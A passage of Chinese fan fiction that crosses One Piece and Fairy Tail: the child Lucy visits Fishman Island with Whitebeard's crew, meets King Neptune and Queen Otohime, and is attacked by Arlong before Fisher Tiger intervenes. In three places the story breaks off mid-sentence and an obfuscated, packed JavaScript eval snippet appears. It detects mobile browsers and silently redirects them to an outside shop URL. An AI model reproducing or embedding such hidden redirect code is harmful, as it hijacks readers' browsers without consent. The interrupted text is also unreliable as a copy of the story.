她撞上什么结实的物体,一个屁股蹲坐了回去。 黑暗中的白胡子眼疾手快,将大惊小怪的孩子提起来放在脚边的地上,护着她朝自己的方向推了推。 “大呼小叫什么,没事的。” 男人哼哼两声,灌了一口酒。 露西一把抓住他的手指不肯松开。 “露西酱,我们这是在海底下呢!”海贼们安抚她。 “没错,我们马上就要到鱼人岛了。” 鱼人岛。 “你不要骗我,我见过鱼人岛的。”露西一脸狐疑地控诉。 白胡子哈哈大笑起来,海贼们也笑了。 “你怎么可能去过鱼人岛呢!” 露西不满地撅着嘴皱起眉头:“马尔科带我见的,鱼人岛只有这么大,才不是你们说的那样!” 她回忆着马尔科在水瓶宫里放下的模型,用手比划了一个小小的球。海贼们看不清,但全都能想象得出来孩子的动作,笑得更加肆无忌惮。露西喊了两声,被淹没在众人震耳欲聋的大笑中,生气地扭头扑在白胡子腿上,不肯和这些坏蛋说话了。 “诶露西,别生气啊。” “露西酱,刚刚是我们不好,不该嘲笑露西。哥哥向你道歉——看,肚皮舞~” “我不看!你们不相信我!我不会和你们说话的!”露西坚决不回头。 不管海贼们如何夹着嗓子,捏着手绢哄她,女孩都没有动摇。男人们为难地抓了抓头,互相看了一眼,下一秒,你揪我我踹你的打了起来。 “都是你!是你让露西生气了!” “你还好意思说?刚刚数你笑得最大声——” 白胡子看着傻儿子们扭打在一起,别过头没事人似的继续喝酒。 唰。 一点刺眼的光亮钻进黑暗里,扭打中的海贼们齐齐停下动作,啪一声摔在甲板上。 “露西!我们到鱼人岛了!!” 露西扭头,更多白光扑面而来。随着一阵翻滚的水声,巨大的明亮的岛屿好像水晶球里的世界出现在遥远的前方。红色的鱼群滑过,一棵望不见尽头的大树盘踞在岛上,阳光从树叶间隙洒下,细碎的嬉笑声传进耳内,整座岛屿散发着梦幻的色彩。 这是……大号鱼人岛! 露西往前走了几步,海贼们一脸骄傲地看着鱼人岛给她介绍。她边听,头已经扭到其他地方去了。莫比迪克号周围有一层奇怪的油光,女孩跟着哥哥们走到船头,上一秒还在抬头,下一秒伸手就戳泡泡,速度快的几个海贼眼睛都要跳出来,一个滑铲扑过去按住她。 “不不不,这个不行!” “露西酱,这个戳破我们会死的!” 被抓住双手的孩子眼珠一转,低头向前扎了个猛子。 一只大手揪住她的衣领毫不留情地把金兔子拖了回来。 “老爹——!!”海贼们热泪盈眶,仿佛看到了救世主。 “露西呀,你从泡泡里出去也会死的!”女孩刚被放下,十几张嘴绕着孩子异口同声,露西苦着脸移开视线,嘟囔了一句,爬到箱子上。 “我们为什么要来鱼人岛呢?” “因为老爹想喝酒——哎哟!”说这话的海贼被同伴一巴掌拍在后脑。 “别胡说!”对方瞪他一眼,转头对露西露出慈祥的笑容,“因为费舍尔·泰格成立了太阳海贼团,老爹当然要过来一趟。” “那为什么马尔科不来呢?” “因为鱼人岛上已经有四位队长啦!”海贼们七嘴八舌地数着,“再来几个队长,鱼人岛会引起恐慌的。“ “而且——”他们对视一眼,嘿嘿嘿地笑起来,“马尔科队长不在,老爹才能偷喝酒啊!” “咳!” 白胡子重重咳嗽,他们瞬间闭嘴。 莫比迪克号很快接近了岛屿,大家纷纷动起来,有的掌舵,有的收帆,有的解开绳索,更多的往楼下去搬运宝箱。白胡子也提着酒壶起身,一脸惬意。 马尔科不在,他终于能好好喝一顿了。 露西落在最后瞥了一眼白胡子。马尔科和自己告别时的场景历历在目,她得意地抬起下巴。这些人都不知道,露西其实是马尔科安插在老爹身边的小卧底。 …… 小卧底看着鱼人岛两眼震惊。 “咦咦咦?” “欸欸欸?” “哇——” 海贼们听着露西奇怪的叫声,捶着地面狂笑。 女孩对此一无所知,跑回白胡子身边问他:“他们,他们长的好奇怪!” 白胡子顺着女孩手指的方向看过去,对面的人鱼族和鱼人族抱着胳膊露出无语的表情。脾气爆的鱼人不甘被人类这样指着,当场撸起袖子上前—— 嚓。 鱼人族的男性僵在原地。 白胡子随意投下的一瞥如同明晃晃的警告令他后背冷汗直冒,灵魂都在颤抖。冷汗从额角滑落,他艰难地吞咽了一下口水,心里那点不甘与怒意在大海的威压之前烟消云散。 “因为他们是鱼人族和人鱼族。” “上半为人,下半为鱼尾的是人鱼族;上半类鱼,下半为双腿的是鱼人族。” 人,鱼,人? 陌生的声音从身旁响起,两个几乎一样的词在脑子里打架,闹得女孩晕晕乎乎。 露西顺着声音抬头——一个蓝色的凶巴巴的男人在看她。 “老爹,好久不见。” “咕啦啦啦,”白胡子爽朗地笑了起来,“那缪尔,我的儿子。” 露西皱着的眉毛瞬间挑起,难以置信地看向男人。这个很凶的,脖子上写着一个8的人,也是老爹的儿子?! 那就是她的哥哥! 很奇怪的哥哥。 女孩小小的惊讶一声,揪着白胡子的裤腿躲到看不见那缪尔的地方。突然,一大片阴影落下,露西再次抬头,一群穿着盔甲的奇怪男性停在他们面前。 露西心里一个咯噔。 盔甲、长枪、冷漠的表情…… 卫兵! 奥特卢克爵士曾经带着她见过哥亚王国的国王。那些被称为卫兵的男人穿着这种服装,面无表情地立在长到看不见尽头的红毯两侧。他们身上银色的盔甲和竖起的长枪冷得能刺破空气。 露西看到一个孩子不小心摔在国王经过的路上,国王低头看了一眼,紧接着,那个孩子连哭声都没有发出就被卫兵们围住。 迪迪特按着她低头。 嚓,嚓,嚓。 孩子被长枪捅死了,像一只老鼠一样捅死了。 她害怕地闭上眼。 “老、老爹……”女孩手心一片湿汗,声音都在发抖。 “白胡子船长。”为首的海王军队长上前一步,长枪在阳光下晃出刺眼的光。 不要伤害老爹! “尼普顿国王和乙姬王妃已在龙宫恭候多时。” 空气凝固了一秒。 露西茫然地看着可怕的卫兵,再看向平静的白胡子。是露西看错了吗,这些随手就能收割生命的怪物谦卑的向白胡子低头行礼。 天哪!露西抱住自己的脸,瞳孔震惊,老爹有这么厉害呀! 身旁的海贼们像是习以为常,他们甚至有些无聊地讨论起接下来要去珊瑚之丘观光。 白胡子淡淡颔首,抬腿,卫兵们侧身避让,退于男人半步之后。走动起来的白胡子突然停顿一下,低头看向仍在震惊的女孩。露西注意到他的视线,露出一个灿烂的笑容,拍了拍自己的胸脯:“露西可以自己走!” 她松开抓着白胡子披风的手,像松开了缆绳,气势汹汹地迈开步子。 老爹可是连卫兵都要行礼的大人物!露西绝不能给他丢脸! 白胡子大笑起来,眼里闪过一丝赞许,真的没再管她大步向前。 那缪尔看着很快落到后面却依然昂首挺胸地女孩,突然开口:“你是老爹新收的女儿?” 专注于脚下的路,憋着一口气要让白胡子对自己骄傲的露西瞬间破功:“你怎么知道?!” “不然老爹怎么会让你一个小鬼头跟在他身边呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122035|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露西听出新哥哥语气里的不以为意,眉头皱成八字:“我很厉害的。” “没错,小露西很厉害!”旁边的海贼们帮腔。 那缪尔来了兴趣:“是吗,有多厉害?” 海贼们得意地看向女孩:“露西,告诉那缪尔队长你有多厉害!” “那缪尔队长,你听了可不要吓一跳!” 既然你这么想知道,那我就大发慈悲告诉你—— 女孩骄傲地挺起胸膛:“我能跑完整个莫比迪克号!” 啪啪啪,空气里响起热烈的掌声。 “呜呜呜,那缪尔队长你听到了吗?这是多么伟大的壮举啊——” “小露西实在太了不起了,我像你这个年纪根本做不到这种事情。” 那缪尔停下脚步。 “……这是什么很了不起的事情吗?!” “马尔科那家伙真是,现在的莫比迪克号这么闲了?小孩子也领养?”而他竟然信以为真浪费了这么多时间。青年烦躁地丢下一句话后离开,留下孩子站在风中凌乱。 轰隆! 晴天霹雳。 女孩碎成石块拼不起来了。 露、露西不厉害吗?露西明明能跑完整个莫比迪克号啊? 小小的女孩眼中写着大大的震惊。 “我讨厌他啊啊啊!” 几秒后,露西红着眼转身,从哥哥们中间挣脱,朝着没人的方向埋头奔去。 她跑过一整条小路,绕开那些高低错落的贝壳房子,泡泡里睡觉的比目鱼被她的脚步掀翻醒来,只看到一个小小的背影。眼泪在风中滑落,视线模糊得看不清,她听到胸口的疼痛,喘气声开始变得浑浊。女孩迫不得已停下捂着心脏的位置艰难地平复。 然后,她果然跑丢了。 周围全是白色的建筑,露西完全不知道自己在哪里。 “……” 她才不要回去,她永远都不要回去!见到那个叫那缪尔的,她多丢脸啊! 女孩在建筑之间绕了几圈,也不知道过去多久,比目鱼群重新埋起来睡着了,落在碎石路上的阴影从很远的角落爬过来。露西低着头愤愤不平地踩地上的光斑,光斑都故意躲着她。 “讨厌!” 她抬头迎着刺眼的摇晃的光影大喊。 “那是阳树夏娃。” 发脾气的女孩吓了一跳,连忙转身,整个人像受惊的兔子。 一个留着胡子,戴着礼帽的男人站在几步之外,抬头看向阳光投下的方向,声音粗犷,语调却很得体:“鱼人岛附近有一棵巨树能将地面上的阳光传到岛上,所以即使在海里,鱼人岛也有白天。” 露西看着陌生的叔叔,想到刚刚自己发脾气的场景,脸蛋憋得通红,手指不安地蜷缩起来:“你好?” 男人这才意识到孩子没有见过自己,他摸了摸精心打理过的胡子,对着孩子微微一笑:“你好啊露西,白胡子海贼团五番队队长比斯塔,正是在下。你太久没回去,老爹不放心,喊我来找你。” 比斯塔? 露西想起来了,是马尔科和萨奇偶尔会提到的名字。她连忙上前一步,提起不存在的裙摆微微屈膝,偏头垂首,优雅行礼。 “你好,我叫露西,是白胡子海贼团的见习船员。” 她动作太快,比斯塔愣了一秒后才认出—— ……提裙礼? 这个模样,毫无疑问,这是一个标准到挑不出一丝错误的提裙礼! 比斯塔震惊。老天,想他比斯塔也是个绅士,在船上这么多年,身边都是怎样一群不修边幅的大老粗!他的礼仪,他的穿着,那些家伙还笑他,他简直是抛媚眼给瞎子看!比斯塔心早就凉了,凉的和马林梵多的铡刀一样。 没想到今天…… 终于遇到知音的感觉令男人鼻子一酸,眼眶差点湿了。他摘下帽子置于胸前,郑重地回礼。 露西倒退一步。 她的星星呀,居然有人知道怎么回礼! “比斯塔……你是第一个向露西回礼的人。” “我也是,真高兴主船上终于迎来一位懂礼的小姐……” 两人重重握手,声音哽咽,眼中流露出惺惺相惜的感动。 25.龙宫城 “咕啦啦啦!” 还没进入皇宫,露西就听到老爹熟悉的笑声。 卫兵为两人拉开大门,和哥亚王国完全不一样的明亮扑面而来。阳光从高耸的穹顶落下,透过彩色玻璃在地面投射出随风而动的霓虹倒影。珊瑚铺成的地面泛着乳白色的光泽,正对的王座上却空无一人。露西瞪着眼看过去,那个戴着王冠满是胡须的胖人鱼竟然和老爹坐在一起,两个人放声大笑。 “老爹,我将露西带回来了。” 白胡子看向自己的儿子,朝露西挥了挥手,比斯塔回到自己的座位上,露西则迈着步子好奇地走过去。 “露西,跟尼普顿打个招呼。” 露西立刻上前一步,提起不存在的裙摆优雅地屈膝:“您好尼普顿国王,我是露西,白胡子海贼团的见习船员。” 白胡子喝酒的动作一顿,咂嘴:“都说了让你别加那句后缀,马尔科那臭小子真是。” 好好的女孩,做什么见习船员!马尔科不会是一直记着仇吧。 尼普顿下巴差点掉在地上,打量了一番金发的孩子,声音颤抖:“纽盖特,这、这是……?” 白胡子大手一挥,骄傲道:“我的女儿。” 从贵族和海军手里抢来的,现在是他的了。 尼普顿愣了两秒,爆发出洪亮的笑声:“原来如此,真是一位礼貌又可爱的小姐。” “你好露西。”他侧身,露出身后的女性:“这是我的王妃乙姬。” “乙姬王妃好。” 乙姬早就捂着嘴两眼湿润。她几乎是冲过去握住女孩的手,亲切地拍了拍:“露西——多么美好的名字!欢迎你来到鱼人岛!” 这孩子简直像从童话里走出来的天使! “真的吗?露西也这么认为……” 尼普顿笑得胡子乱窜:“纽盖特,这孩子比你那些儿子可爱多了。” 白胡子大笑。 乙姬拉着孩子往对面走去,温柔的目光始终落在女孩身上,拂过她阳光般的金发,拂过明亮干净的眼睛,拂过那双和自己一样柔软的手。她像是看到一个缩小版的自己。 “来,坐这儿。”她拉着女孩带到自己的座位旁,两个人贴在一起。 “你的头发和我的颜色一样呢。”乙姬感叹。 “露西最喜欢金色了!”露西甜甜地回答,“王妃姐姐的头发好漂亮,比露西的还要漂亮!” 乙姬王妃噗嗤一声笑了出来。 她的眉眼弯成温柔的弧线,吩咐侍卫拿来用餐工具,给露西倒了一杯鱼人岛特产的甜水。孩子抱着杯子小心翼翼地喝了两口,眼睛瞬间亮了,一个劲点头。乙姬看着她,笑着让侍卫将水壶留下。 “看着你……我就想起我的女儿。” 露西放下杯子,好奇地抬头:“女儿?” “她叫白星,今年刚满一岁。”乙姬脸上露出母爱的慈祥。她摸了摸露西的头,轻声询问:“你下次来一定要见见她。我有预感,你们一定会成为好朋友的。” “好啊。”露西还没有见过小宝宝呢,当即应下。 这样她就不是船上最小的那个了! 乙姬王妃又喂了露西一口水果,柔声问她:“小露西,想不想在龙宫城转转?龙宫城里有很多装着泡泡的比目鱼,还有大型的珊瑚礁,贝壳宫殿。” 说着,她微微侧身,仿佛下一秒就会吩咐侍卫领路。 露西摇了摇头。 乙姬示意侍卫们停下。 “吉隆考德广场呢,那里也很热闹,或者珊瑚之丘?” 露西觉得有些不好意思,她看着乙姬王妃亲切的眼神,有些难为情却挺直了腰板:“对不起王妃姐姐,我要跟着老爹。” 乙姬眨了眨眼,一秒后,掩唇轻笑。她摇了摇手,安抚地看向满脸愧疚的孩子:“没事,我没有介意。” 露西却不敢这样想,她自责地向着乙姬挪了两步,趴在她耳边告诉她:“露西不是故意的,其实,其实是因为——” 她偷偷看了一眼喝酒的白胡子,声音压得更低:“因为露西答应过马尔科要看好老爹。” “马尔科?”乙姬露出惊讶的表情,“我知道他,他是个很好的医生,他和纽盖特先生一起来过鱼人岛呢。” 以及——他对纽盖特先生真的管的很严。 乙姬王妃眨了眨眼,两个人像两条吐泡泡的小鱼咬着耳朵:“原来你是他的小帮手呀。” 露西比了个噤声的手势,严肃地点头承认。 “你千万不要告诉老爹!” 笨蛋露西,在场的队长哪一个不会见闻色,两人号称秘密的对话早就暴露无遗。 白胡子冷哼一声。 管他?别开玩笑了! 平常那是……那是因为露西老是撒娇!走路要撒娇,开口要撒娇,站在那里还撒娇!她没有一刻不在撒娇,他没办法,只能让着她。现在让这个小糊涂蛋来管他的酒?不可能,绝对不可能! 说到酒,白胡子想起来了。 马尔科安排带了几桶好酒作为见面礼送给费舍尔·泰格。 白胡子那叫一个心疼啊。 “尼普顿,”白胡子看向国王,“那个叫泰格的鱼人,现在在哪儿?” 尼普顿喝酒的动作一顿。 露西朝尼普顿的方向看去。 这个富态的,刚才还在和白胡子勾肩大笑的男性人鱼在听到名字的这一刻,全身好像竖起无形的尖刺,用一堵厚重的墙将自己与宴会厅里每一个人类隔开。他的眼神是平静的,然而平静之中和白胡子对视时翻涌着一种刻意制造的排斥感。 海贼们依然喧哗地划拳拼酒,和王子们痛快畅饮,但几位队长察觉到空气中细微的变化,不动声色地端着酒杯抿了一口,侧耳倾听。 尼普顿沉默了大概有三秒,挥手。 侍从们无声退下,海王军也离开大殿。他从白胡子身边起身,一步步走回自己的王座。 露西困惑地观察着对方的举动。 他为什么不和老爹坐在一起了?他们吵架了吗? “王妃姐姐……” 孩子下意识看向身边温柔的乙姬王妃。 乙姬王妃握着露西的手看向对面的白胡子。她的气势变了,和之前判若两人,她并没有对白胡子抱有任何敌意,只是这一刻,和女孩同样瘦弱的身躯里站起来的是鱼人岛的王妃乙姬。 露西心里突然生出一种惶恐。 发生什么了?大家都怎么了? 她不安地看向白胡子,想要从这个无论何时都能带来安心的男人身上得到答案。白胡子依然豪放,依然大口喝酒,仿佛只是随口问了一句,不打算解释,也不觉得需要解释。 他等着尼普顿回复。 王座前是长久的沉默,宴会厅另一头却是年轻人们吵闹的嬉笑声与酒液滑过喉咙的咕咚声。 “老爹,您吓到露西了。” 比斯塔突然开口。 王座左右的三人不约而同看向女孩,女孩脸上还残留着茫然的震惊,以及那种难以掩饰的不安。她的双肩紧张地耸起,秀气的眉头皱成一个八字,一动不动地望着白胡子。 尼普顿国王和乙姬王妃看着孩子的神情,双双愣神。 “对,露西吓到了。”天真的小笨蛋根本不知道狡猾的大人用她做了什么,见大家都在看她,一脸委屈地控诉,“你们为什么都不说话呢?” 下一秒,她想到什么,倒吸一口凉气。 “老爹……你是不是听到——”露西刚刚说自己是小间谍了! 完蛋了马尔科,我们暴露了!敌人太狡猾了! 白胡子看着她就知道那颗睿智的脑袋又在想什么令人无语的东西。他咳嗽一声,移开目光,干巴巴地撒谎:“我没听见啊。” 还好还好,吓死露西了。 露西摸着胸口转身看向乙姬王妃,安抚地拍了拍大人的手:“没问题,我们没有暴露。” 乙姬愣了两秒,笑出声。 紧绷的气氛一下子被孩子冲散。 尼普顿国王似乎无声地叹了口气,将身体沉进冰冷的座位里,转而开始思考白胡子刚才的发问。 费舍尔·泰格愤怒而来,仇恨而去,尼普顿国王无法阻止他的行动,也没有理由阻止。可是白胡子庇护的岛屿发生公然和天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137969|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙人对着干的事情,狠狠扇了世界政府一耳光。全世界只会认为,这就是白胡子的意思! 如果白胡子没这个意思呢?如果他要求交出泰格呢? 到那个时候,他应该保护子民,还是保护岛屿? 不论泰格做了什么,都是尼普顿的子民。尼普顿认为泰格不应该由人类审判对错,这是尼普顿身为国王的责任。 可鱼人岛是被白胡子拯救的,他们已经归顺,白胡子就是他们的船长,鱼人岛和白胡子之间的纽带绝不能破裂!他个人与白胡子得之不易的友谊,他们整座岛没有庇护就活不下去的未来……白胡子有任何想法,他都应该支持。 三个月,白胡子没有反应,尼普顿以为这件事过去了。没想到今天,留下四位队长的白胡子还是亲临了。 他主动提起泰格的事情,他的态度究竟是什么? “白胡子,”尼普顿缓缓开口,带着试探,“你——听说泰格在玛丽乔亚做的事了?” 这个变化的称谓没有逃过队长们的耳朵,尼普顿这个操作几乎是直白地将自己和白胡子海贼团分开来,站在鱼人岛的立场上发问。几个队长有些无奈,尼普顿国王把老爹想成什么人了?但他们到底没有评价,只是等待老爹的反应,只有那缪尔显得焦躁不安。 尼普顿国王,您在想什么呢?老爹,您说句话啊! 那缪尔是全场最着急的人。 他隐隐感觉到一场风雨即将降临。 搞不好鱼人岛今天要不欢而散了! 就在这时,很低的声音刺穿了这种寂静: “纽盖特,你听说泰格在玛丽乔亚做的事了吗?哦当然,我已经听说了,咕啦啦啦。” 那个声音过于滑稽,比斯塔没忍住,一口酒呛了一下。 王座上严肃的尼普顿差点破功。 没错,大聪明露西听不懂大人在说什么,乙姬也不理她,她干脆学着尼普顿的语气自己和自己的拇指演起来。 凝重一下子破了。 尼普顿回过神,无奈地捂住脸:“抱歉,纽盖特,是我——” “咕啦啦啦!” 白胡子放声大笑。 “玛丽乔亚?当然听说了。” “那可是一场豪举啊!” 尼普顿的心脏猛地一跳。 这样一句评价,白胡子的态度清清楚楚,尼普顿心头涌起一阵狂喜,紧接着,不安。他有些不敢相信,声音发颤:“纽盖特,你的意思是……虽然你说过会庇护鱼人岛,但……泰格他们,也在你的庇护之下吗?” 白胡子灌下一口酒,咚地将酒壶砸在桌上。他咧开嘴,语气坦荡:“尼普顿啊,只要我的旗帜在鱼人岛一天——无论是人鱼族还是鱼人族,都是我的人。” “有罪?处决?世界政府想动他们,也要看看马林梵多受不受得住大海之怒! ” 一束光落在王座前,尼普顿张了张嘴,觉得一股痛快的气息从喉咙口冲了出来。他的眼眶微微湿润,十指颤抖。 即使归顺了,他们依然是惴惴不安的,尼普顿从来不敢以自己和白胡子的交情去揣摩白胡子心里鱼人岛的地位,因为他始终认为,白胡子会偏向人类。 可是今天,今天…… “呜啊啊啊——纽盖特!!!”他捂着脸,像孩子一样嚎啕大哭。 乙姬王妃强忍着眼泪没有落下,朝白胡子重重鞠躬:“谢谢您,纽盖特先生……” 白胡子只是大笑,就和之前一样,没有半句多言。 比斯塔看着这一幕,摸着自己的胡子,毫不意外地笑了。 果然,这才是老爹。 “泰格他们……回鱼人街了。纽盖特,我这就派人去找他们过来!泰格应该也想和你见上一面!” 白胡子咧了咧嘴角,利落地起身朝门外走去,威严的声音混着豪放的酒气留给了龙宫。 “那就让他们来海之森见我。” 尼普顿怔怔地看着那个背影,嬉笑的海贼们不约而同站起,勾肩搭背地跟在老爹身后。比斯塔朝露西做了个手势,露西连忙起身,两个白胡子海贼团最懂礼的门面向国王和王妃行礼,转身融入人群。 26.太阳海贼团 搁浅和损坏的船只残骸经由洋流停在这片珊瑚森林,因此,海之森也成了船只的墓场。鱼群和海洋生物从黑色的洞里钻出来,停在木桶上进食藻类。钢铁已经生锈,海贼旗磨损得看不出来原貌,只有龙骨顽强地抬头看向水面上方。露西坐在残骸上摇晃着双腿,嘴里哼着《宾克斯的美酒》,她不知道自己已经坐了多久,环顾四周,依然看不见任何踪影。 孩子有些无聊地叹了口气,仰头盯着能看到的最远的地方发呆。 露西是不是走错地方了? 孩子苦恼地想。 脸颊上传来一点被轻啄的痒意,她眨眨眼,低头,一条红色的小鱼将她当成了什么好吃的东西,甩着尾巴固执地亲吻她的皮肤。露西咯咯地笑了起来,伸手拢住它,将它轻轻一推送进水波里。 “你不能吃我,我不好吃。”她耐心地和小鱼解释。 小鱼似乎听懂了,它的同伴从远处游来,两条鱼互相缠绕着走进珊瑚丛里,朝孩子发出邀请。露西侧身前倾,低头去看那些长出鱼来的窟窿,伸手触碰它们的嘴。 踏,踏。 陌生的脚步,露西停下动作抬头。 “人类?” 黑压压的身影遮住了阳光,粗犷的声线带着疑问和诧异。 鱼群躲进珊瑚里,露西坐直,正对上领头的男性。他系着迷彩头巾,浓密的黑色卷发,络腮胡微微晃动,浑身赤红,身材魁梧。露西注意到他的眼睛,平静,坚忍,但她却莫名感受到一丝隐藏起来的——排斥? 费舍尔·泰格的视线从金发女孩身上扫过,露西那张极具欺骗性的脸蛋和瘦弱的身材令泰格原本警惕到过分的神经下意识松动了一些。 “人类怎么会跑到这里来?” “泰格大哥,要赶走她吗?”甚平看着女孩,想要上前一步。 露西看向蓝色皮肤的鱼人,眼睛一亮。 蓝色……你也是阿葵亚? 甚平的身体宽阔圆润,牙齿虽然突出但没有一点尖锐感,半黑半白的头发乱糟糟地披在身后,让他看起来仿佛故作高冷,黑色的披风也像是为了扮酷。 看起来坏坏的阿葵亚,露西喜欢他。 “甚平说得对,这里是鱼人岛,人类就该滚回他们的地面上去。”阿龙毫不客气地朝露西走去。 “阿龙。”泰格叫住他。 阿龙停下,有些难以置信:“泰格大哥,她可是人类!” 泰格上前一步,高大的阴影吞噬了孩子的脚尖。他眉头紧皱,开口道:“你是什么人?” 露西终于等到这句话,迫不及待地站起来回答:“你好,我叫露西。” 孩子的视线从泰格胸口滑过,然后是甚平,阿龙,所有在场的鱼人。她的眼神停留了一秒,然后移回鱼人们脸上。 她耐心地等待着,在场没有一个人接话。 露西小小地皱眉。 “泰格大哥,我看这家伙不像是随船来鱼人岛上的,肯定是偷渡!”阿龙还在建议,声音里明晃晃的敌视,“我们捉了她扔出去吧!” 说完,他伸手朝露西抓去。 露西闪了一步,灵活地从他腋下穿过,跳上船脊。 阿龙愣住了。 一秒后,一种被羞辱的恼怒涌上心头,他堂堂阿龙,伟大的鱼人族,竟然让一个卑劣的人类从手里逃了出去?! 阿龙额头爆出青筋,一口尖牙几乎咬碎。他当即长臂一挥,水波沿着肌肉走向如利刃一般射出,直奔女孩面门! “阿龙!”甚平惊呼。 无形的水刃转瞬扑向女孩双眼,她睁着澄澈的眼睛,丝毫没有察觉危险逼近,阿龙看着她愚蠢的模样,露出一个血腥的笑。 去死吧!人类! 唰。 熟悉的水气从远处射来,如同子弹打碎了阿龙的攻击。那些断裂的水波撞进海里,顷刻间消失得无影无踪。露西眨了眨眼,目光朝左看去。 阿龙的脸色变得异常恐怖。 “甚平……” 他大步流星地走回去,一把揪住甚平的衣领,破口大骂:“为什么阻止我?!” 甚平朗声道:“泰格大哥没有发话,那个人类不该由你处置!” “况且——”甚平打量了露西一番,“在下并不觉得她是偷渡客。” 如果是偷渡过来的孩子,穿不起这样干净整洁的衣服。他担任过海王军,看得出这种打扮属于那些被好好爱着,家庭还算富裕的孩子。 “泰格大哥,你认为呢?” 泰格看着露西,他的眉头一直没有松开:“甚平说的对,她不会是偷渡客。” 泰格这样说了,阿龙轻啧一声,甩开甚平的衣领。 女孩背在身后那只拿着水瓶座钥匙的手缓缓放下,钥匙上的金光随着小主人的心意归于平静。 “不是偷渡……” 阿龙烦躁地甩了一下头,还是咽不下这口气,一头冲了回去。 “那她也是人类!” “阿龙!” 甚平当即挥拳,将水波打出去阻止同伴,可阿龙脚下一蹬,竟然借着水流如鱼雷一般扑向露西!气流因速度扭曲,露西眼神一凝,心跳加速到极致!面前的鱼人和陪她练习的海贼们不同,那种浓重的杀意明目张胆地朝着她迸发,几乎令她窒息。 露西从没有如此直面过这样磅礴的恶意。 她的额头流下一滴冷汗。 甚平顾不得体宽,奋力追过来,抬起拳头,一丝犹豫闪过眼底。可他对上孩子的脸,一咬牙,正拳还是轰出,沿路水流噼啪炸响,硬生生给鱼人砸出一条甬道。 他一定要将阿龙拦下来! 正拳追着锯齿的鲨鱼,鲨鱼露出森森利齿。 血色从孩子脸上如雪崩般退去,浑身血液在这一刻凝结了。噗通,噗通,露西听到心脏有力的跳动声像一面鼓立在胸膛,视野急剧收缩,窄的只能看见阿龙一个。 【笨蛋!这种情况不召唤我…不召唤阿葵亚,你在想什么!】 忽然,一个看不清脸庞的声音响了起来,如此千钧一发,露西听见那个声音,心奇异地平静下来。 阿葵亚。 恐惧之下,孩子的眼神亮的惊人。 她几乎是凭本能行动,反手抽出钥匙! 水瓶座的钥匙在空中打转,啪,握住。大脑一片空白,强敌莅临,露西眼神中流露出自己都没有注意到的斗志。 一道弧光斜斜划出,直指阿龙,她的双眼是那么坚定、锋利,好像胜券在握的不是高大的鱼人而是自己。金光从钥匙彼端亮起,几乎刺瞎阿龙的双目。海水不约而同地停下,转身朝女孩的方向汇聚! 甚平慢了一步,双眼在无限延长的时间中睁大。他只看到阿龙的利齿扑向来不及躲避的孩子,心里一紧,出拳的招式连忙改变。 “水心·海流过肩摔——” “鲛·ON·DARTS!” “打开吧,水瓶——” “住手!” 一条结实的红色手臂横在三人之间。 泰格一步按住阿龙的突刺,迎着阿龙茫然的眼神单手掼起对方。甚平的鱼人柔术扑了个空,还没反应过来,泰格一脚将他攻势踹开。脸上残留着茫然的阿龙视野猛地下坠,重重砸在甚平身上。 砰! 地上扬起沙尘。 船员们惊慌地跑过来。 “啊啊啊,甚平大哥!阿龙大哥!” 泰格站在原地,像一尊高耸的雕像。 “阿龙!”沙尘落下后,他厉声道,“无端伤害人类非我们太阳海贼团应为!你不要忘了,我建立海贼团的初衷是为了解放和自由!” 视线下移,他看向甚平: “甚平,不要将你的攻击对准同伴!” 严厉的指责,甚平和阿龙捂着肚子爬起来被其他鱼人接住。他们低着头,久久没有说话。 露西默默收起钥匙,光芒熄灭,水流重新恢复平静,无人察觉。 她刚想开口道谢,泰格却看都没有看她,径直走向远处。 露西皱眉。她没有看错,这个红红的叔叔确实很讨厌她。 那他干嘛还要帮她? 甚平擦了擦脸上的伤痕,心感惭愧,低头道:“对不起泰格大哥。” 泰格拍了拍他的肩膀,甚平抬头,对上露西好奇的眼神,皱着眉移开。阿龙骂骂咧咧地抱怨船员们手脚重,泰格头疼地走过去训斥他。 甚平跟上去,身后那道视线却紧紧贴着自己,他想忽视都做不到。蓝色鱼人额头流下一滴冷汗,闭了闭眼,最终还是深吸一口气,转身看向露西。 “你看着在下做什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152584|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?”他凶巴巴地开口。 露西问:“你叫什么名字啊?” 甚平没有回答她:“你到底为什么来鱼人岛?” 露西继续问:“你刚才受伤了吗?” “……” 甚平的表情有些无语,他居高临下地瞪着露西,试图将女孩吓跑,但露西怎么会被吓到呢?她又不傻,她知道刚才是这个鱼人冲过来救自己。两次。 